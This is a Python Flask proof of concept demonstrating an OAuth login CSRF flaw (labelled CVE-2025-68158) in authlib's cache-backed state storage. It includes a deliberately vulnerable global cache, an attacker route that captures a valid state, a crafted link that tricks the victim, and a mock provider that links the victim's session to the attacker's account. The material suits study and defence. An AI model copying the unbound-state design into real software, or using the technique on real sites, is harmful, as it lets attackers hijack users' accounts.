Vulnerable code sample

import os
from flask import Flask, url_for, session, redirect, request, jsonify
from authlib.integrations.flask_client import OAuth
from urllib.parse import parse_qs, urlparse

# This code requires a vulnerable version of authlib, e.g., authlib<=1.0.0
# The vulnerability described (CVE-2025-68158) is specific to cache-backed state storage.

# 1. --- VULNERABLE CACHE SIMULATION ---
# This simulates a global cache (like Redis or Memcached) where the 'state'
# is stored. The vulnerability exists because the key used to store the state
# does not include any session-specific identifier.
class VulnerableCache:
    def __init__(self):
        self._cache = {}
        print("Initialized vulnerable global cache.")

    def get(self, key):
        # VULNERABILITY: The key is something like '_state_PROVIDER_statestring'.
        # It retrieves the data without checking if it belongs to the current user's session.
        # Any session can retrieve any valid state.
        print(f"[CACHE-GET] Key: {key} -> Found: {key in self._cache}")
        return self._cache.get(key)

    def set(self, key, value, timeout=None):
        # The state is stored globally, accessible by any subsequent request regardless of session.
        print(f"[CACHE-SET] Key: {key}")
        self._cache[key] = value
        return True

    def delete(self, key):
        if key in self._cache:
            print(f"[CACHE-DELETE] Key: {key}")
            del self._cache[key]
        return True

# --- Flask App Setup ---
app = Flask(__name__)
# A secret key is required for Flask session management.
app.secret_key = os.urandom(24)

# 2. --- OAUTH CLIENT CONFIGURATION ---
# The OAuth client is configured to use the vulnerable, non-session-bound cache.
# This is the configuration that triggers the vulnerability.
oauth = OAuth(app, cache=VulnerableCache())

# We simulate a remote OAuth 2.0 provider.
oauth.register(
    name='provider',
    client_id='mock-client-id',
    client_secret='mock-client-secret',
    authorize_url='http://127.0.0.1:5000/mock_oauth/authorize',
    access_token_url='http://127.0.0.1:5000/mock_oauth/token',
    api_base_url='http://127.0.0.1:5000/mock_oauth/api/',
    client_kwargs={'scope': 'profile'},
)

# --- State storage for the attacker's PoC ---
# In a real attack, the attacker would manage this state themselves.
attacker_info = {'state': None}

# --- Application Routes ---

@app.route('/')
def index():
    # Simulate a victim user session.
    if 'user_id' not in session:
        session['user_id'] = 'victim_user_' + os.urandom(4).hex()

    linked_profile = session.get('linked_profile')
    
    # Construct the malicious link for the demo UI
    malicious_link = "Complete Step 1 first."
    if attacker_info['state']:
        malicious_link = url_for('authorize', code='victim_auth_code', state=attacker_info['state'], _external=True)

    return f"""
    <h1>Vulnerable App (CVE-2025-68158)</h1>
    <p><b>Victim's Session ID:</b> {session['user_id']}</p>
    <p><b>Linked OAuth Profile:</b> {linked_profile or 'None'}</p>
    <a href="/login">Legitimately Link Account</a>
    <hr>
    <h2>CSRF Attack Steps:</h2>
    <p><b>Step 1 (Attacker):</b> The attacker initiates an OAuth flow to get a valid 'state' parameter.</p>
    <p><a href="/attacker_start_flow" target="_blank">Click here to simulate Attacker getting a state</a></p>
    <p><b>Step 2 (Victim):</b> The attacker tricks the victim into clicking a crafted link containing the attacker's state. The victim is already logged into this site.</p>
    <p><b>Malicious Link (for Victim to click):</b></p>
    <pre><a href="{malicious_link}">{malicious_link}</a></pre>
    <p><b>Result:</b> After the victim clicks, their session will be linked to the <u>attacker's</u> OAuth account, not their own. Check the 'Linked OAuth Profile' above after clicking.</p>
    """

@app.route('/login')
def login():
    # This is the legitimate start of the OAuth flow for any user.
    redirect_uri = url_for('authorize', _external=True)
    print(f"[{session.get('user_id')}] Starting legitimate login flow.")
    return oauth.provider.authorize_redirect(redirect_uri)

@app.route('/authorize')
def authorize():
    # 3. --- VULNERABLE ENDPOINT ---
    # This is the OAuth callback endpoint.
    print(f"[{session.get('user_id')}] Reached /authorize endpoint.")
    print(f"[{session.get('user_id')}] Received state='{request.args.get('state')}'")
    
    # The `authorize_access_token` call will look up the 'state' in the global cache.
    # It does NOT validate that the state belongs to the current session ('victim_user_...').
    # If the state from the URL was generated by the attacker, the check will still pass.
    try:
        token = oauth.provider.authorize_access_token()
    except Exception as e:
        # This will fail for a truly invalid state, but succeed for a valid-but-wrong-session state.
        return f"Error during token authorization: {e}", 400

    # The app incorrectly assumes the flow was legitimate and links the fetched
    # profile to the current (victim's) session.
    # Our mock token endpoint returns the ATTACKER's profile.
    session['linked_profile'] = token.get('userinfo')
    print(f"[{session.get('user_id')}] Successfully linked profile: {session['linked_profile']}")
    return redirect('/')

# --- Attacker Simulation Routes ---

@app.route('/attacker_start_flow')
def attacker_start_flow():
    # This simulates the attacker's browser starting an OAuth flow.
    # We intercept the redirect to grab the state parameter.
    redirect_uri = url_for('authorize', _external=True)
    
    # We temporarily replace the redirect function to capture its argument.
    def capture_redirect_url(url):
        # In a real attack, the attacker's browser would just be redirected.
        # Here, we parse the URL to extract the state.
        parsed_url = urlparse(url)
        query_params = parse_qs(parsed_url.query)
        attacker_info['state'] = query_params['state'][0]
        print(f"[ATTACKER] Captured state: {attacker_info['state']}")

    # Temporarily patch the client's redirect method
    original_authorize_redirect = oauth.provider.authorize_redirect
    oauth.provider.authorize_redirect = capture_redirect_url
    
    # Call the patched method
    oauth.provider.authorize_redirect(redirect_uri)

    # Restore the original method
    oauth.provider.authorize_redirect = original_authorize_redirect

    return f"Attacker has obtained a valid state: <b>{attacker_info['state']}</b>. The malicious link on the main page is now active. Close this tab and return to the main page."

# --- Mock OAuth Provider Routes (to make the example self-contained) ---

@app.route('/mock_oauth/authorize')
def mock_authorize():
    # The mock provider automatically approves and redirects back.
    redirect_uri = request.args.get('redirect_uri')
    state = request.args.get('state')
    # The code is a dummy value.
    return redirect(f"{redirect_uri}?code=mock_auth_code&state={state}")

@app.route('/mock_oauth/token', methods=['POST'])
def mock_token():
    # The mock provider issues a token. To demonstrate the impact, this token
    # always contains the ATTACKER's user information.
    return jsonify({
        'access_token': 'attacker_access_token_string',
        'token_type': 'Bearer',
        'userinfo': {
            'email': 'attacker@example.com',
            'sub': 'attacker-id-12345'
        }
    })

if __name__ == '__main__':
    app.run(debug=False, port=5000)